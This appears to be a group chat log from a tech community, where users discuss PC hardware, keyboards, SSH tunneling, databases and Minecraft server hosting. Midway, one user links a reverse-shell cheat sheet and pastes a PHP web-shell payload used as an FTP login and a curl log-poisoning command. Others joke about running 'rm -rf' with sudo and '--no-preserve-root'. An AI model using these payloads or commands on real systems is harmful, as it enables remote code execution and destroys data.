Tbh for my partner I’d build them intel/nvidia because it has a better track record of just working

[unkempt widget]

they had really good mid-upper tier gpus that have very good price/performance

[limpid hamlet]

Yes I love my rx6800xt but the older gpus were trash

[full fossil]

For myself? Amd/amd

[slim mirage]

If only thunderbolt was on both amd and intel like 5 years ago I would probably like amd way more

Like bad dpi and hard to click

[full fossil]

Because I’d take just a regular old basic dell keyboard with a nice mouse

[slim mirage]

Yeah same

[unkempt widget]

bro where do you even find a scenario like that

[strange elk]

Me rn

[past egret]

probably work environment

[slim mirage]

Every cheap mouse under like $10 is horrible

[unkempt widget]

all mouses can customize the speed trhough settings

[slate tulip]

For Linux work? Don’t need a fancy mouse, although my trackball is nice

[past egret]

a lot of people bring their own keyboards to work with their shit mouse

[slim mirage]

A keyboard under $10 is still useable

[past egret]

so is a mouse

[unkempt widget]

so is a mouse, if usable is that low

membrane is objectively shit change my mind

[slate tulip]

Just make work buy you a decent keyboard

[full fossil]

i paid 5$ for mine, with rgb :V

[strange elk]

This keyboard is fine but I need something more sturdy evidently and the way this is wired I can't hold shift and space at the same time in games

[unkempt widget]

holy shit

[full fossil]

lol

Membrane is quiet and I’ll take it over a mechanical in a work environment any day

[unkempt widget]

the cheapest keyboard that's rgb that i can think of is the redragon one that's membrane and comes with a mouse

[full fossil]

In a work environment

[slate tulip]

Meh, most of us on my team have reds or browns

[slim mirage]

My friend gave me a mechanical keyboard and I hated it maybe I need to find a decent one

[past egret]

ive seen people steal good keyboards at work, youd be surprised how much people prefer the ergo

[unkempt widget]

it might've just been a shitty mechanical keyboard

[slate tulip]

Haven’t had an issue, but Intel campuses are pretty strictly controlled

[slim mirage]

It probably was

[past egret]

but no one bothers to steal a good mouse

because most people would rather spend more time on a keyboard than their mosue

[unkempt widget]

you are seriously missing out my guy, just go to a best buy and test out a keyboard there or smth idk

[slim mirage]

If you go to sleep with an itchy ass you gonna wake up with a stinky finger that's my quote of the day

[unkempt widget]

lmao

[strange elk]

Switch is a preference as well. I think I prefer browns but I need to try the keys again to be sure. I need a few keyboards on display featuring different switches so I can test them. Thats how I learned I LOVE the feel of the Ornata V2 but again. Razer.

[slate tulip]

A lot of my job is done via SSH, so not as much mouse work required 😛

[past egret]

so my point stands

keyboard > mouse

[slim mirage]

Na

I guess it's just preference

[unkempt widget]

also you could take apart individual keys on mechanical keyboards

[full fossil]

ill reverse ssh into you

[unkempt widget]

what's hss

sorry i meant uoy otni hss

what's that

[slim mirage]

Stop flirting with communication protocols 💀

[slate tulip]

[unkempt widget]

ayo

[slim mirage]

🫢💀

Cheers gboard

[full fossil]

finally a sentence i can understand XD
its like ssh, but someone connects to you instead of you connecting to them xD (hacking)

[slim mirage]

Mainframe

[full fossil]

😳

[mossy pendant]

i just hacked ur mainframe

ur done bro

[slim mirage]

Tesla uses ryzen?

[mossy pendant]

Yep

They used to use Intel Atom GPUs

[unkempt widget]

also corsair also has mx key switches

[slim mirage]

Does it play steam games better than the steam deck?

[unkempt widget]

friendship ended with amd

[slate tulip]

Ehhh. Usually reverse SSH is used when you are talking about initiating an ssh connection to a system and then having it connect back to you. Say, for example, I’m running a mysql server, and I connect to another server and then have it setup a tunnel to me to talk to the database server

[mossy pendant]

It plays them well, I don't know for sure if they've done any direct comparisons

[mossy pendant]

why would you be running a mysql server

[slate tulip]

It was an example

[mossy pendant]

lol

[slate tulip]

Generally i use mariadb instead of mysql, but then I’d have to explain what mariadb was, and if i used postgresql, someone would question that…

[slim mirage]

Why a car got 16gb of ram kinda quirky

[mossy pendant]

postgres is definitely a better option in this day and age for an sql database

[mossy pendant]

car got the same amount of ram as my pc 💀

but I paid 1/80th of the price that they paid for the car
so who's really the winnere

[slate tulip]

Not if the application doesn’t support postgres - I’m not adding that support

[slim mirage]

Why not just use excel 💪

[unkempt widget]

damn

[slate tulip]

Aaaand fired ||jk||

[unkempt widget]

you're onto something

[mossy pendant]

ms access gang

[unkempt widget]

google spreadsheets gang

[graceful burrow]

The government
That's always the correct answer

[mossy pendant]

But I guess access actually supports SQL

[slim mirage]

I swear that Microsoft database thing just made the full thing more confusing

[unkempt widget]

i have a bunch of useless statistics in google spreadsheets

oh i thought vex got banned

[mossy pendant]

Does anyone actually use microsoft access for important applications?

[unkempt widget]

now i'm disappointed

[mossy pendant]

I feel like in 2023 it's literally the worst option you could pick

[full fossil]

that sounds more like tunneling or port forwarding OwO
idk anyone besides hacking community using reverse ssh,
https://github.com/d4t4s3c/Offensive-Reverse-Shell-Cheat-Sheet
it can be done in all languages, careful what scripts you run XD

[slim mirage]

I've never used it outside of school

[unkempt widget]

hey i watched how to port forward to make a minecraft server
it was too much work and i gave up

[slate tulip]

reverse ssh tunneling i said. As a subset of ssh, which i used as an example 😛

[mossy pendant]

that links pretty offensive, man

haha

[full fossil]

never give up >:[ try again!

[unkempt widget]

it was over a year ago

[mossy pendant]

unless you're trying to make a public mc server

then port forwarding to your internal network is not a good idea lmao

[full fossil]

OwO

[mossy pendant]

it's a good way to get DDossed atleast lmao

[full fossil]

it is xP

[unkempt widget]

oh yeah that too

[full fossil]

he should learn how to do it

[full fossil]

excuses excuses >:[

[unkempt widget]

ik how to do it, it's just that i had to configure some stuff on the router and my parents forgot the password for the router

[mossy pendant]

Oh completely, but don't put it on a minecraft server list or something

If it's just for personal purposes, a tunnel from cloudflare or ngrok could do just fine

[unkempt widget]

i mean i wasn't planning too, i just wanted to give it to my friends so we could play together
ended up playing on regular old aternos instead

[full fossil]

password is written on the router, unless u changed it, then there is a little hole where u put like a needle or something to reset it :V

[slate tulip]

If i use ssh to forward a port to me, that’s an “ssh tunnel”. If i use ssh to forward a port from me - that’s often called a reverse ssh tunnel

[slim mirage]

If it's just for friends it's not really a problem if you start inviting random people and advertising it then you are gonna have issues also use a random port so port scanning isnt as simple for attackers trying to grief Minecraft servers

[unkempt widget]

not if i ddos them first

[full fossil]

what if i use it to steal ur data? OwO

[unkempt widget]

which is why folks: when you go on a random minecraft server, use a vpn, or don't at all

[slate tulip]

Often used because you can’t just initiate a connection into the network from outside, but you can reach outside, for example to a VM in AWS, and then use that to connect back in

[full fossil]

lmao

[slate tulip]

Good luck? Definitely not that simple

[slim mirage]

I mean you can use zerotier and use rules to only allow the Minecraft port to be accessed and only allow clients to talk to the server

[unkempt widget]

also i just realized, if i got a 47.5 inch monitor, it's height would be the same as my 27 inch width

[mossy pendant]

Don't use port 25565, use port 25566

[slim mirage]

It probably actually works lmao

[slate tulip]

That link you shared for example, is just simple redirecting input via bash, netcat, etc - simple stuff i learned reading man pages my first year as a sysadmin. Just don’t be stupid and run commands you don’t know or leave unused ports open

[mossy pendant]

somewhat atleast lmao

[unkempt widget]

true true

[slim mirage]

You can use cloudflare srv records to hide the stinky port number

[mossy pendant]

I've heard that this rm -rf removes the french language pack from your machine. I've been wanting to remove it, so should I run it with sudo so I won't run into any problems?

[timid meadow]

Yes

[slim mirage]

If you are a student do you not get free Google or Aws or digital ocean credits and run the server on that?

[unkempt widget]

i'm still in high school lmao

[slate tulip]

Yes, but if you forget to add --no-preserve-root it won’t remove latin for you

[mossy pendant]

you could probably get free hosting credits with the github student pack

[slim mirage]

Just be careful as they love taking money when the credits expire

[mossy pendant]

Most companies do haha

[unkempt widget]

damn i knew coding was outdated, but is it really that outdated to use latin?

[mossy pendant]

that's normally how a trial works

[unkempt widget]

wait that's free if i can prove i go to school?

[slate tulip]

with an SSH tunnel for example, I’d only forward the exact port you need, I.E. 3306 TCP. So you still need to be able to crack the login to the mysql server and ideally you’d have proper perms in place, like root can only login via localhost and not a remote IP etc - limiting any damage

[slim mirage]

Difference being a trial is usually a set price sone have like cpu boost charges and stuff

[full fossil]

someone would just need to find one vulnerability, if ur hosting a website or ftp :V
also, i just checked,

root@kali:~# ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 3.0.3)
Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password: <?php system($_GET['cmd']); ?>
530 Login incorrect.
Login failed.
ftp> 

would this actually work? XD thats insane if they didnt patch it

[mossy pendant]

https://education.github.com/pack/offers

It also gives you github pro and unlimited free copilot (if you're into that shit)

[unkempt widget]

i don't code at all lol

[mossy pendant]

you also get a few hundred dollars in hosting credits

[slate tulip]

You assume is be running FTP or a website or anything

[unkempt widget]

i don't think i even have a github account

[slim mirage]

How does GitHub actually make money I feel bad I always download stuff and use the site

[mossy pendant]

you also get a domain for free

[slate tulip]

And it wouldn’t matter if they had root access, they wouldn’t have access to the ssh originating server

[mossy pendant]

probably through pro subscriptions and enterprise clients. They're also subsidized by microsoft

[slim mirage]

Get a .men domain

[unkempt widget]

i tried taking coding lessons during the pandemic, was interested in the first lesson, ended up watching youtube videos instead of paying attention afterwards

[slate tulip]

Running useless services is the first mistake. You can transfer files via SCP built-in to SSH. That’s port 22. HTTPS on 443. Boom, that’s all you need.

If you are feeling extra paranoid, make sure that you don’t have any accounts with sudo access and use strong passwords. Ensure every service uses TLS.

[full fossil]

there is also http poisoning with

curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"

[full fossil]

i use 20+ passwords minimum

[slate tulip]

Confused what that’s going to accomplish. Why are you even running php? Why are you using http instead of https?

[unkempt widget]

ah problem is i don't have a student card thing

[full fossil]

oh its only if someone is running apache or nginx :V

[unkempt widget]

the school was so scuffed when i got enrolled they didn't even bother giving me an interview (they gave everyone else an interview, just gave me a free pass after seeing my grades lmao)

[slate tulip]

I mean, nginx didn’t process php

You’d have to proxy to something like php-fpm

[full fossil]

php service does, which will get poisoned, cuz its run by root :V

[slate tulip]

And if php is vulnerable to something as simple as command substitution embedded in a user agent string - they are dumb

[full fossil]

they probably patched it XD im just looking at some examples

[unkempt widget]

oh god an i5-13600k outperforms an i7-10700k by double
